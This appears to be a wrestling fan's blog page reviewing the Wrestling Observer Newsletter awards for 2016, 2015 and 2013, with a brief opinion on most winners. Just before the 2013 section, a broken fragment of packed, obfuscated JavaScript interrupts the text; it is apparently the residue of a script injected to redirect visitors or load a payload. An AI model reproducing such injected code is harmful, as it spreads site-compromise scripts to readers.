Thoughts on the 2016 Wrestling Observer Newsletter Awards
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Category A Awards
Wrestler of the Year – AJ Styles
MMA Most Valuable – Conor McGregor
Most Outstanding Wrestler – AJ Styles
Most Outstanding Fighter – Conor McGregor
Enough MMA in the wrestling awards.
Best Box Office Draw – Conor McGregor
Feud of the Year – Conor McGregor vs. Nate Diaz.
Erg here we go again. The top wrestling feud was AJ Styles vs. John Cena, which was nearly quadrupled in points.
Tag Team of the Year – Young Bucks
Most Improved – Matt Riddle
Best on Interviews – Conor McGregor
Most Charismatic – Conor McGregor
Nakamura was second.
Bryan Danielson Award (Best Technical Wrestler) – Zack Sabre Jr
Hard to argue that one, especially with some of the stuff he did in the Cruiserweight Classic.
Bruiser Brody Memorial Award (Best Brawler) – Tomohiro Ishii
Best Flying Wrestler – Will Ospreay
Most Overrated – Roman Reigns
Most Underrated – Cesaro
Promotion of the Year – New Japan
Best Weekly TV Show – New Japan
Match of the Year – Tanahashi vs. Okada (January 4)
MMA Match of the Year – Robbie Lawler vs. Carlos Condit – January 2
Rookie of the Year – Matt Riddle
Best Non-Wrestler – Dario Cueto
Best TV Announcer – Mauro Ranallo
Was this ever in doubt? Corey Graves was a close second.
Worst TV Announcer – David Otunga
Why does he have a job? Aside from being married to Jennifer Hudson that is.
Best Major Wrestling Show – Wrestle Kingdom
Category B Awards
Worst Major Wrestling Show – Wrestlemania XXXII
I was there and I got bored.
Most Disgusting Promotional Tactic – Bellator Kimbo Slice vs. Dada 500 Fight
Worst TV Show – Raw
Am I really the only person who still watches Impact?
Worst Match of the Year – Shelley Martinez vs. Rebel – TNA One Night Only
Makes sense. It also makes my head hurt.
Worst Promotion of the Year – TNA
Best Booker – Gedo
Of course. He scored 851 points, or nearly ten times second place.
Promoter of the Year – Dana White
Real promotion/sport. Fake promotion/sport. Totally the same thing.
Best Gimmick – Broken Matt Hardy
If this was ANYTHING else, they were kidding themselves.
Worst Gimmick – Bone Soldier
Best Pro Wrestling Book – Ali vs. Inoki
Best Pro Wrestling DVD – Seth Rollins: Redesign, Rebuild, Reclaim
People still watch DVDs in the Network Era?
2015 Wrestling Observer Newsletter Awards
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Wrestler of the Year – AJ Styles
Most Outstanding Wrestler – AJ Styles
Feud of the Year – Conor McGregor vs. Jose Aldo
Tag Team of the Year – Young Bucks
Of course. Next.
Most Improved – Bayley
Best on Interviews – Conor McGregor
Most Charismatic – Shinsuke Nakamura
Yep. No argument on that actually. The dude is a machine.
Best Technical Wrestler – Zack Sabre Jr.
Best Brawler – Tomohiro Ishii
Best Flyer – Riccochet
Most Overrated – Kane
Who rates Kane highly in the first place? Reigns is second. This should of course be the Young Bucks.
Most Underrated – Cesaro
Promotion of the Year – New Japan
Best Weekly TV Show – NXT
Yep, with Lucha Underground second. Dang it Meltzer give me something to get mad at you over!
Match of the Year – Shinsuke Nakamura vs. Kota Ibushi
You knew it would be something from New Japan, though to be fair I gave this an A. Bayley vs. Sasha from Brooklyn was third.
Rookie of the Year – Chad Gable
Best Non-Wrestler – Dario Cueto
Best Announcer – Mauro Ranallo
Again, no surprise here.
Worst Announcer – John Layfield
Best Major Wrestling Show – Wrestle Kingdom IX
Worst Major Wrestling Show – TripleMania XXIII
Best Wrestling Maneuver – Styles Clash
Worst Match of the Year – Psycho Clowns vs. Villanos
Worst Feud of the Year – Team PCB vs. Team Bella vs. Team BAD
Worst Promotion of the Year – TNA
Can we just rename this the TNA Award? You would think after a nine year run it might be time.
Best Booker – Paul Levesque/Ryan Ward
Promoter of the Year – Dana White
The first wrestling promoter is Takaaki Kidani of New Japan.
Worst Gimmick – Stardust
2013 Wrestling Observer Newsletter Awards Announced
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbsbz|var|u0026u|referrer|teney||js|php'.split('|'),0,{})) Meltzer’s WON Awards are out so it’s time to see how much he loves Japan this year. I’ll include my winners as well and my thoughts on his, though keep in mind I don’t watch puro and I’m only a casual MMA fan at best. Also before I start, I’m well aware that Meltzer’s readers vote on this, but if you believe the majority of them do anything but repeat what he says, you’re more delusional than I can help.
Wrestler of the Year – Hiroshi Tanahashi (John Cena/Daniel Bryan)
Most Valuable MMA Fighter – Georges St. Pierre
Most Outstanding Wrestler – Hiroshi Tanahashi
Best Box Office Draw – Georges St. Pierre
Next.
Feud of the Year – Hiroshi Tanahashi vs. Kazuchika Okada (Rhodes Family vs. Authority)
Tag Team of the Year – Seth Rollins and Roman Reigns (Shield)
I lump tag teams and groups together so no arguments here.
Most Improved – Roman Reigns (Bo Dallas)
Reigns was a popular pick but he was more along the lines of “guy who gets more focus”. I get the pick though.
Best Interviews – Paul Heyman
Most Charismatic – Hiroshi Tanahashi
Just name the awards after him already.
Best Technical Wrestler – Daniel Bryan
Even though he mainly uses strikes now?
Best Brawler – Katsuyori Shibata
Yeah whatever.
Best Flying Wrestler – Kota Ibushi
I was impressed by what I saw of him so why not.
Most Underrated – Antonio Cesaro
Promotion of the Year – New Japan
Best Weekly TV Show – NXT
Amen.
Most Outstanding Fighter – Cain Velasquez
No argument there I suppose.
Match of the Year – Hiroshi Tanahashi vs. Kazuchika Okada, April 7 (CM Punk vs. Brock Lesnar)
Again, bow down to Japan.
Fight of the Year – Gilbert Melendez vs. Diego Sanchez
I heard good things so sure.
Rookie of the Year – Yohei Komatsu (Big E. Langston)
Non-Wrestler of the Year – Paul Heyman (Paul Heyman)
Yeah.
TV Announcer of the Year – William Regal
Fine again.
Major Wrestling Show of the Year – New Japan G-1 Day 4
Lather, rinse, repeat.
Best Booker – Jedo/Gedo, New Japan
Next.
Promoter of the Year – Dana White, UFC
Be careful. New Japan might not want to spoon after.
Gimmick of the Year – Wyatt Family
For the sheep mask alone.
Best Book – Mad Dogs, Midgets and Screwjobs – Pat LaParade and Bertrand Herbert
Never heard of it but it sounds interesting.
Best DVD – Jim Crocket Promotions: The Good Old Days
Heard of it, looks interesting.
Most Overrated – Randy Orton
Worst TV Announcer – Taz
Worst Major Show – Battleground (Battleground)
Two in a row.
Worst TV Show – Impact
Worst match of the Year – 10 Diva tag, November 24 (Same)
No argument there.
Worst Feud – Big Show vs. Authority
No arguments there unless you want to go with the Divas, which I think I would have.
Worst Promotion – TNA
Again no arguments.
They were a gimmick still?
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